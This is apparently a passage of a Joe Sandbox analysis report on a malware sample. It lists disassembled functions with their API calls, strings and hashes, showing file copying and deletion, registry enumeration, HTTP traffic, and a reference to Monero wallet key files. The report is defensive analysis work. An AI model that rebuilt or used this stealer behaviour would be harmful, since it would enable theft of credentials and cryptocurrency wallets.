Associated: 00000000.00000002.2010035965.0000000000BEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000F74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001072000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001079000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010616047.0000000001089000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010737533.0000000001224000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010753682.0000000001225000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b90000_file.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandle$HeapHttpOpenRequestlstrcat$AllocateConnectCrackFileProcessReadSend
String ID: "$"$(c$------$------$------
API String ID: 874700897-4260919187
Opcode ID: 961f480d56e6e2d5f715336451ccadebd881e377bcc729ee4ebb3eb5e28c3351
Instruction ID: 1916679c694e646294fc8c4a860c710c2a88ee0afeb68de6469998b0d5d2c9cb
Opcode Fuzzy Hash: 961f480d56e6e2d5f715336451ccadebd881e377bcc729ee4ebb3eb5e28c3351
Instruction Fuzzy Hash: 7D121C71924118ABDB55EBA4DC95FEEB3B8BF15700F4041E9B106B20A1EF742A4ACF71

Function 00B9A790 Relevance: 39.0, APIs: 21, Strings: 1, Instructions: 539
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00BAAA70: StrCmpCA.SHLWAPI(00638FC8,00B9A7A7,?,00B9A7A7,00638FC8), ref: 00BAAA8F

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 00B9AAC8
RtlAllocateHeap.NTDLL(00000000), ref: 00B9AACF
StrCmpCA.SHLWAPI(00000000,ERROR_RUN_EXTRACTOR), ref: 00B9ABE2
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00B9A8B0

Part of subcall function 00BAA820: lstrlen.KERNEL32(00B94F05,?,?,00B94F05,00BB0DDE), ref: 00BAA82B
Part of subcall function 00BAA820: lstrcpy.KERNEL32(00BB0DDE,00000000), ref: 00BAA885

Part of subcall function 00BAA9B0: lstrlen.KERNEL32(?,00639178,?,\Monero\wallet.keys,00BB0E17), ref: 00BAA9C5
Part of subcall function 00BAA9B0: lstrcpy.KERNEL32(00000000), ref: 00BAAA04
Part of subcall function 00BAA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00BAAA12

Part of subcall function 00BAA8A0: lstrcpy.KERNEL32(?,00BB0E17), ref: 00BAA905

lstrcat.KERNEL32(?,00000000), ref: 00B9ACEB
lstrcat.KERNEL32(?,00BB1320), ref: 00B9ACFA
lstrcat.KERNEL32(?,00000000), ref: 00B9AD0D
lstrcat.KERNEL32(?,00BB1324), ref: 00B9AD1C
lstrcat.KERNEL32(?,00000000), ref: 00B9AD2F
lstrcat.KERNEL32(?,00BB1328), ref: 00B9AD3E
lstrcat.KERNEL32(?,00000000), ref: 00B9AD51
lstrcat.KERNEL32(?,00BB132C), ref: 00B9AD60
lstrcat.KERNEL32(?,00000000), ref: 00B9AD73
lstrcat.KERNEL32(?,00BB1330), ref: 00B9AD82
lstrcat.KERNEL32(?,00000000), ref: 00B9AD95
lstrcat.KERNEL32(?,00BB1334), ref: 00B9ADA4
lstrcat.KERNEL32(?,00000000), ref: 00B9ADB7
lstrlen.KERNEL32(?), ref: 00B9AE0D
lstrlen.KERNEL32(?), ref: 00B9AE1C

Part of subcall function 00BAA740: lstrcpy.KERNEL32(00BB0E17,00000000), ref: 00BAA788

Part of subcall function 00BAA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00BAA7E6

DeleteFileA.KERNEL32(00000000), ref: 00B9AE97

Strings

ERROR_RUN_EXTRACTOR, xrefs: 00B9ABD4

Memory Dump Source

Source File: 00000000.00000002.2010035965.0000000000B91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B90000, based on PE: true

Associated: 00000000.00000002.2010022530.0000000000B90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000BEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000F74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001072000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001079000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010616047.0000000001089000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010737533.0000000001224000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010753682.0000000001225000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b90000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcess
String ID: ERROR_RUN_EXTRACTOR
API String ID: 4157063783-2709115261
Opcode ID: 402124b7ef7414052191531a0af0cced8d09ed2ad27872b8ece79178906c3912
Instruction ID: 648e843120fd777847604dfeff4e7e184e235a55afb89f3b31a167df694f416b
Opcode Fuzzy Hash: 402124b7ef7414052191531a0af0cced8d09ed2ad27872b8ece79178906c3912
Instruction Fuzzy Hash: B4123371914104ABCB44FBA4DD96EEE73B8AF15300F5041A9F507B61A1EF34AE09DBB2

Function 00B94880 Relevance: 32.0, APIs: 11, Strings: 7, Instructions: 479
networkstringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00BAA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00BAA7E6

Part of subcall function 00B947B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00B94839
Part of subcall function 00B947B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00B94849

Part of subcall function 00BAA740: lstrcpy.KERNEL32(00BB0E17,00000000), ref: 00BAA788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00B94915
StrCmpCA.SHLWAPI(?,0063E828), ref: 00B9493A
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00B94ABA
lstrlen.KERNEL32(00000000,00000000,?,?,?,?,00BB0DDB,00000000,?,?,00000000,?,",00000000,?,0063E888), ref: 00B94DE8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00B94E04
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00B94E18
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00B94E49
InternetCloseHandle.WININET(00000000), ref: 00B94EAD
InternetCloseHandle.WININET(00000000), ref: 00B94EC5
HttpOpenRequestA.WININET(00000000,0063E7A8,?,0063E1B8,00000000,00000000,00400100,00000000), ref: 00B94B15

Part of subcall function 00BAA9B0: lstrlen.KERNEL32(?,00639178,?,\Monero\wallet.keys,00BB0E17), ref: 00BAA9C5
Part of subcall function 00BAA9B0: lstrcpy.KERNEL32(00000000), ref: 00BAAA04
Part of subcall function 00BAA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00BAAA12

Part of subcall function 00BAA8A0: lstrcpy.KERNEL32(?,00BB0E17), ref: 00BAA905

Part of subcall function 00BAA920: lstrcpy.KERNEL32(00000000,?), ref: 00BAA972
Part of subcall function 00BAA920: lstrcat.KERNEL32(00000000), ref: 00BAA982

InternetCloseHandle.WININET(00000000), ref: 00B94ECF

Strings

------, xrefs: 00B94B28
", xrefs: 00B94BF2
------, xrefs: 00B949BD
", xrefs: 00B94D33
------, xrefs: 00B94C69
(c, xrefs: 00B9492F
c, xrefs: 00B94BC9

Memory Dump Source

Source File: 00000000.00000002.2010035965.0000000000B91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B90000, based on PE: true

Associated: 00000000.00000002.2010022530.0000000000B90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000BEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000F74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001072000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001079000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010616047.0000000001089000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010737533.0000000001224000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010753682.0000000001225000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b90000_file.jbxd

Yara matches

Similarity

API ID: Internet$lstrcpy$lstrlen$CloseHandle$HttpOpenRequestlstrcat$ConnectCrackFileReadSend
String ID: "$"$(c$------$------$------$c
API String ID: 460715078-3931525701
Opcode ID: 0846b03b86ef56408f057d448a056b76a134eb7f5892697cf6ad029f154a2d50
Instruction ID: 6616c535cca893059940bc2c450162626978d422a0819f361272a70bc5b3568b
Opcode Fuzzy Hash: 0846b03b86ef56408f057d448a056b76a134eb7f5892697cf6ad029f154a2d50
Instruction Fuzzy Hash: B212CB71915218AADB55EB94DCA2FEEB3B8AF15300F5041E9B10672091EF742F4ACF72

Function 00B9CEF0 Relevance: 30.4, APIs: 20, Instructions: 375
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00BAA740: lstrcpy.KERNEL32(00BB0E17,00000000), ref: 00BAA788

Part of subcall function 00BAA9B0: lstrlen.KERNEL32(?,00639178,?,\Monero\wallet.keys,00BB0E17), ref: 00BAA9C5
Part of subcall function 00BAA9B0: lstrcpy.KERNEL32(00000000), ref: 00BAAA04
Part of subcall function 00BAA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00BAAA12

Part of subcall function 00BAA8A0: lstrcpy.KERNEL32(?,00BB0E17), ref: 00BAA905

Part of subcall function 00BA8B60: GetSystemTime.KERNEL32(00BB0E1A,0063A510,00BB05AE,?,?,00B913F9,?,0000001A,00BB0E1A,00000000,?,00639178,?,\Monero\wallet.keys,00BB0E17), ref: 00BA8B86

Part of subcall function 00BAA920: lstrcpy.KERNEL32(00000000,?), ref: 00BAA972
Part of subcall function 00BAA920: lstrcat.KERNEL32(00000000), ref: 00BAA982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00B9CF83
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 00B9D0C7
RtlAllocateHeap.NTDLL(00000000), ref: 00B9D0CE
lstrcat.KERNEL32(?,00000000), ref: 00B9D208
lstrcat.KERNEL32(?,00BB1478), ref: 00B9D217
lstrcat.KERNEL32(?,00000000), ref: 00B9D22A
lstrcat.KERNEL32(?,00BB147C), ref: 00B9D239
lstrcat.KERNEL32(?,00000000), ref: 00B9D24C
lstrcat.KERNEL32(?,00BB1480), ref: 00B9D25B
lstrcat.KERNEL32(?,00000000), ref: 00B9D26E
lstrcat.KERNEL32(?,00BB1484), ref: 00B9D27D
lstrcat.KERNEL32(?,00000000), ref: 00B9D290
lstrcat.KERNEL32(?,00BB1488), ref: 00B9D29F
lstrcat.KERNEL32(?,00000000), ref: 00B9D2B2
lstrcat.KERNEL32(?,00BB148C), ref: 00B9D2C1
lstrcat.KERNEL32(?,00000000), ref: 00B9D2D4
lstrcat.KERNEL32(?,00BB1490), ref: 00B9D2E3

Part of subcall function 00BAA820: lstrlen.KERNEL32(00B94F05,?,?,00B94F05,00BB0DDE), ref: 00BAA82B
Part of subcall function 00BAA820: lstrcpy.KERNEL32(00BB0DDE,00000000), ref: 00BAA885

lstrlen.KERNEL32(?), ref: 00B9D32A
lstrlen.KERNEL32(?), ref: 00B9D339

Part of subcall function 00BAAA70: StrCmpCA.SHLWAPI(00638FC8,00B9A7A7,?,00B9A7A7,00638FC8), ref: 00BAAA8F

DeleteFileA.KERNEL32(00000000), ref: 00B9D3B4

Memory Dump Source

Source File: 00000000.00000002.2010035965.0000000000B91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B90000, based on PE: true

Associated: 00000000.00000002.2010022530.0000000000B90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000BEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000F74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001072000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001079000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010616047.0000000001089000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010737533.0000000001224000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010753682.0000000001225000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b90000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessSystemTime
String ID:
API String ID: 1956182324-0
Opcode ID: e3cf4de7cac45fcef9d9a20978d5dda75bc955e454b0de12f5cec25cc90a601d
Instruction ID: fef5152aff07146368f5283b9505b7ee19fb6d674b92e1527bfaae7bef8e12b7
Opcode Fuzzy Hash: e3cf4de7cac45fcef9d9a20978d5dda75bc955e454b0de12f5cec25cc90a601d
Instruction Fuzzy Hash: 4EE15C71914208ABCB44EBA4DD96EEE73B8BF15301F108199F507B61A1DF34AE09DB72

Function 00BA8320 Relevance: 28.2, APIs: 11, Strings: 5, Instructions: 196
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00BAA740: lstrcpy.KERNEL32(00BB0E17,00000000), ref: 00BAA788

RegOpenKeyExA.KERNEL32(00000000,0063B048,00000000,00020019,00000000,00BB05B6), ref: 00BA83A4
RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00BA8426
wsprintfA.USER32 ref: 00BA8459
RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 00BA847B
RegCloseKey.ADVAPI32(00000000), ref: 00BA848C
RegCloseKey.ADVAPI32(00000000), ref: 00BA8499

Part of subcall function 00BAA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00BAA7E6

Strings

c, xrefs: 00BA84DF
?, xrefs: 00BA837A
- , xrefs: 00BA85A3
%s\%s, xrefs: 00BA844D
(c, xrefs: 00BA858C

Memory Dump Source

Source File: 00000000.00000002.2010035965.0000000000B91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B90000, based on PE: true

Associated: 00000000.00000002.2010022530.0000000000B90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000BEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000F74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001072000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001079000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010616047.0000000001089000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010737533.0000000001224000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010753682.0000000001225000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b90000_file.jbxd

Yara matches

Similarity

API ID: CloseOpenlstrcpy$Enumwsprintf
String ID: - $%s\%s$(c$?$c
API String ID: 3246050789-2261818516
Opcode ID: 2ca399bd8f8221a268b2e4ad9fe6edd8d90f9963dac216a0eab540b65885a6d1
Instruction ID: 653d9c0a0368e86b37d2a3a6c40ca27883cad6591c07da526c3ef1026e9cd6c9
Opcode Fuzzy Hash: 2ca399bd8f8221a268b2e4ad9fe6edd8d90f9963dac216a0eab540b65885a6d1
Instruction Fuzzy Hash: 6E810B71915218ABEB64DB54CC91FEAB7F8FF09700F0082D9E10AA6180DF756B85CFA1

Function 00B96280 Relevance: 26.4, APIs: 11, Strings: 4, Instructions: 191networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00BAA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00BAA7E6

Part of subcall function 00B947B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00B94839
Part of subcall function 00B947B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00B94849

Part of subcall function 00BAA740: lstrcpy.KERNEL32(00BB0E17,00000000), ref: 00BAA788

InternetOpenA.WININET(00BB0DFE,00000001,00000000,00000000,00000000), ref: 00B962E1
StrCmpCA.SHLWAPI(?,0063E828), ref: 00B96303
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00B96335
HttpOpenRequestA.WININET(00000000,GET,?,0063E1B8,00000000,00000000,00400100,00000000), ref: 00B96385
InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 00B963BF
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00B963D1
HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 00B963FD
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00B9646D
InternetCloseHandle.WININET(00000000), ref: 00B964EF
InternetCloseHandle.WININET(00000000), ref: 00B964F9
InternetCloseHandle.WININET(00000000), ref: 00B96503

Strings

GET, xrefs: 00B9637C
ERROR, xrefs: 00B964C9
(c, xrefs: 00B962F8
ERROR, xrefs: 00B96407

Memory Dump Source

Source File: 00000000.00000002.2010035965.0000000000B91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B90000, based on PE: true

Associated: 00000000.00000002.2010022530.0000000000B90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000BEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000F74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001072000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001079000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010616047.0000000001089000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010737533.0000000001224000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010753682.0000000001225000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b90000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHttp$OpenRequestlstrcpy$ConnectCrackFileInfoOptionQueryReadSendlstrlen
String ID: (c$ERROR$ERROR$GET
API String ID: 3749127164-2819135563
Opcode ID: 9ced820ca6157d346ece176a41b882e3344dd5c4a28bfb469b184b600c616afc
Instruction ID: 59f1e30a1c579489cc2739def300ceb79613fa7f606b35bf6b3abc6b2fb187d9
